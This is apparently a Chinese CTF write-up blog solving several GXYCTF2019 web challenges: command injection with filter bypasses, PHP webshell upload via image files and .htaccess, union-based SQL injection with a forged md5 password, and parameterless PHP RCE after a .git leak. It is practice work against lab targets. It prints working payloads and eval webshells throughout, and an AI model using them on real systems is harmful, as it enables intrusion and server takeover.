0x01前言

坚持每天都做做赛题,加油!

0x02赛题

[GXYCTF2019]Ping Ping Ping

image-20241112203942641

根据题目可以知道这个可能是rce命令执行题目,先ping一下本地看看

/?ip=127.0.0.1

image-20241112204059123

ping出来了,那就试一下管道符拼接命令

/?ip=127.0.0.1||ls

介绍一下||管道符

|| A||B A命令语句执行失败,然后才执行B命令语句,否则执行A命令语句

没有发现回显,一开始以为这不是linux环境我我还换了dir查看目录,发现dir也不行,我就换了一下管道符,用分号拼接ls

/?ip=127.0.0.1;ls

image-20241112204630999

发现flag.php文件,尝试cat一下

/?ip=127.0.0.1;cat flag.php

image-20241112204723780

出现回显,原来是过滤了空格

那就用绕过空格过滤的方法

绕过空格过滤

  • < <> 重定向符
  • %20(space)
  • %09(tab)
  • $IFS$1
  • ${IFS}(最好用这个)
  • $IFS
  • %0a 换行符
  • {cat,flag.txt} 在大括号中逗号可起分隔作用

用${IFS}试试看

/?ip=127.0.0.1;cat${IFS}flag.php

image-20241112205123386

发现{}符号也被过滤了

用$IFS$1试试

/?ip=127.0.0.1;cat$IFS$1flag.php

image-20241112205416201

好吧flag也被过滤了,那就用通配符进行绕过

通配符绕过

配符是由shell处理的, 它只会出现在 命令的“参数”里。当shell在“参数”中遇到了通配符时,shell会将其当作路径或文件名去在磁盘上搜寻可能的匹配:若符合要求的匹配存在,则进行代换(路径扩展);否则就将该通配符作为一个普通字符传递给“命令”,然后再由命令进行处理。总之,通配符 实际上就是一种shell实现的路径扩展功能。在 通配符被处理后, shell会先完成该命令的重组,然后再继续处理重组后的命令,直至执行该命令。

* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个)
? 匹配任何一个字符(不在括号内时)?代表任意1个字符
[abcd ] 匹配指定字符范围内的任意单个字符
[a-z] 表示范围a到z,表示范围的意思

对于linux cat和ca’’t ca\t ca””t效果是相同的 这样同样可以绕过字符的限制

image-20241112205514862

真可恶,*和?都被过滤了

换成别的绕过方法试一下

其他绕过flag方法

1.反斜杠\绕过flag

2.’’单引号绕过flag

发现还是不能绕过,我们倒回去看一下index里面看看有没有源代码吧

image-20241112205918716

这里对flag进行了任意字符的匹配,所以无论中间用什么字符进行隔开绕过都会当成flag进行处理,这时候我们可以试一下赋值拼接绕过

/?ip=127.0.0.1;b=ag;c=fl;cat$IFS$1$c$b.php

发现并没有过滤的回显,看一下源码里面有没有flag,终于找到了

注意:有些绕过了flag但在源码中并没有找到flag,我也不知道是什么原因

[GXYCTF2019]BabyUpload

一看就是文件上传漏洞

image-20241112211519114

先传一句话木马看看

1
<? eval($_POST['code']);?>

image-20241112211615761

发现有文件后缀的验证,由此我们得知,文件后缀不可以有ph,那么php3,php5,phtml等后缀自然无法使用了。先测试一下看看是前端验证还是后端

先把文件后缀改成jpg格式,然后上传并抓包修改后缀为php,再放包

image-20241112211943256

发现还是对后缀名进行了警告,说明应该不是前端的js验证后缀名了,考虑是不是文件头检测

那就做一个图片马

先选一张小一点的图片,然后将一句话木马和图片合成为一张图片马

cmd命令

copy /b 原始图片.jpg + 恶意代码文件.php 合成图片.jpg

image-20241112212708540

不放心的话我们可以把2.jpg拖到010里面看一下是否有一句话木马

image-20241112213954966

这里上传图片马记得修改后缀名,图片截的有问题

也有警告,试一下00截断能不能绕过php

image-20241112214958964

好吧,骗不过他

试一下**.htaccess**文件上传

先传一个**.htaccess**文件看看能不能成功

新建一个txt文件并写入

AddType application/x-httpd-php .jpg

意思是可以将上传的jpg文件当作php文件去解析

然后将后缀名改成.htaccess

上传看看能不能通过

发现还是显示上传类型太露骨,应该是也对htaccess文件进行了过滤,我们试着把content_type头改一下

修改如下

image-20241114231931492

发现上传成功,我们试着传一个jpg格式的一句话木马

image-20241114232718954

结果发现还是传不了,我直接换了一个木马,换成phtml的木马

1
<script language="php">eval($_REQUEST[cmd])</script>

image-20241114232900177

发现这个上传成功了,那我们访问一下木马

发现没有呈现图片,说明我们的phtml文件被解析执行了,那就直接用蚁剑连接找flag就行了

[GXYCTF2019]BabySQli

打开题目是登录界面,那就先进行一系列的测试

用1和1’测试后发信有回显报错,判断存在注入点且为单引号闭合

image-20241114234332630

接下来是判断注入类型了,看看是整数型还是字符型

但是当我用or 1=1判断的时候出现页面

image-20241114234519210

猜测应该是or被黑名单限制了

后续用双写绕过,order by判断字段数也是一样,基本上确定有黑名单验证了

直接试一下union有没有被过滤

1’ union select 1,2#

image-20241114235140695

1’ union select 1,2,3#

image-20241114235157364

没报错,说明字段数应该是3个

虽然union select没被过滤,但database被过滤了,真让人头大

抓包做看看有没有线索

image-20241114235429495

居然还真有,在response包中看到一段注释掉的编码,我们解码一下

我一开始用的base64解码发现是乱码,就试了一下其他base解码,通过测试发现是套加密(二次加密),需要先base32解码再base64解码

解码后的结果是:

1
select * from user where username = '$name'

可以看到注入点是在name参数,那就对name参数进行sql注入

先假设用户名是admin进行测试:

admin’#

发现出现wrong pass

证明是有admin这个用户的,但密码并不正确

不过这一关用到了sql的一个特性

sql特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据

首先第一步判断回显点,利用穷举法,看页面回显判断

’union select1,2, ‘admin’#

页面回显 wrong user! 但我们知道 用户名是正确的,所以只能是位置错了。

由此判断出 admin的位置

‘union select 1,’admin’,3#

通过题目的源代码可以知道,这里的密码是进行了md5加密过的,在最后面的代码中中提到只有密码进行md5编码才会得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}

$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}

?>

那我们就构造虚拟的数据

name=1’ union select 1,’admin’,’c4ca4238a0b923820dcc509a6f75849b’#&pw=1

这里c4ca4238a0b923820dcc509a6f75849b是1的md5加密值

这里利用的知识点不多,但是如果不看源代码的话估计到死都做不出来这道题

[GXYCTF2019]禁止套娃

image-20241115002008584

是一点线索都不给啊

用御剑扫了一下目录,但也没什么收获

参考了各位师傅的wp后发现是.git泄露

用githack把泄露的代码摘下来

1
python githack.py url/.git/

摘下来的代码会放在githack目录下

image-20241115222634445

进入b4d0310f-0918-425b-8f37-c1069fc45ecf.node5.buuoj.cn_81文件可以看到有index.php,说明源代码被我们摘下来了

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

preg_match(‘/data://|filter://|php://|phar:///i’, $_GET[‘exp’])–这里过滤了大部分的伪协议,比如 data://filter://php://phar://

if (‘;’ === preg_replace(‘/[a-z,_]+((?R)?)/‘, NULL, $_GET[‘exp’]))–这里的匹配替换一个字符+符号+加上对括号的递归调用,例如以下

img

判断匹配替换后的 结果是不是为;,说明这里我们只能让传入的exp是仅包含函数调用的形式,替换结果才会为;,比如func();,而不应该有其他字符

if (!preg_match(‘/et|na|info|dec|bin|hex|oct|pi|log/i’, $_GET[‘exp’])) –这里进一步检查输入中的字符是否包含关键字

解题思路:函数嵌套实现无参数rce

明确了是需要实现无参数rce的话,那我们得通过第三层验证考虑哪些函数可以用了,

preg_match(‘/et|na|info|dec|bin|hex|oct|pi|log/i’, $_GET[‘exp’])

payload1:读取文件

1
exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

highlight_file() 函数对文件进行语法高亮显示,本函数是show_source() 的别名
next() 输出数组中的当前元素和下一个元素的值。
array_reverse() 函数以相反的元素顺序返回数组。(主要是能返回值)
scandir() 函数返回指定目录中的文件和目录的数组。
pos() 输出数组中的当前元素的值。
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是”.”。

image-20241116104609373

payload2:数组操作

1
2
3
4
5
6
7
?exp=var_dump(scandir(pos(localeconv())));
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) ".git" [3]=> string(8) "flag.php" [4]=> string(9) "index.php" }

?exp=var_dump(array_reverse(scandir(pos(localeconv()))));
array(5) { [0]=> string(9) "index.php" [1]=> string(8) "flag.php" [2]=> string(4) ".git" [3]=> string(2) ".." [4]=> string(1) "." }

?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));

pos() / current() 默认返回数组第一个元素
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

pos() 输出数组中的当前元素的值。

localeconv() 函数返回一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是”.”。

array_reverse()函数将数组逆向返回

payload3:session_id

通过获取session_id设置为flag.php来获取flag

1
?exp=highlight_file(session_id(session_start()));
1
2
3
4
5
6
7
8
9
10
11
Request:

GET /?exp=highlight_file(session_id(session_start())); HTTP/1.1
Host: 5e48725e-b21b-41a7-96d1-398a11a05f3d.node5.buuoj.cn:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cookie:PHPSESSID=flag.php
Connection: close

[GXYCTF2019]StrongestMind

image-20241116173131330

算出来填进去看看回显

发现每次的计算都不一样,那bp抓包提交应该是不行的了,只能写个脚本

加减法计算脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import re
import requests
from time import sleep


def count():
s = requests.session()
url = 'http://c39b6aaa-4d51-4b1d-b777-32741c72ccc8.node3.buuoj.cn/'
match = re.compile(r"[0-9]+ [+|-] [0-9]+")
r = s.get(url)
for i in range(1001):
sleep(0.1)
str = match.findall(r.text)[0]
# print(eval(str))
data = {"answer" : eval(str)}
r = s.post(url, data=data)
r.encoding = "utf-8"
print('{} : {}'.format(i,eval(str)))
# print(r.text)
print(r.text)



if __name__ == '__main__':
count()

如果觉得慢的话可以写多线程的或者设置延时时间,这样会快得多,但也容易出现429

image-20241121205803605

[GXYCTF2019]BabysqliV3.0

image-20241121210117323

弱口令登录一下,发现就登录成功了

image-20241121210544355

一开始以为是一道文件上传题目,但是打半天没打通,后来才发现是一道phar反序列化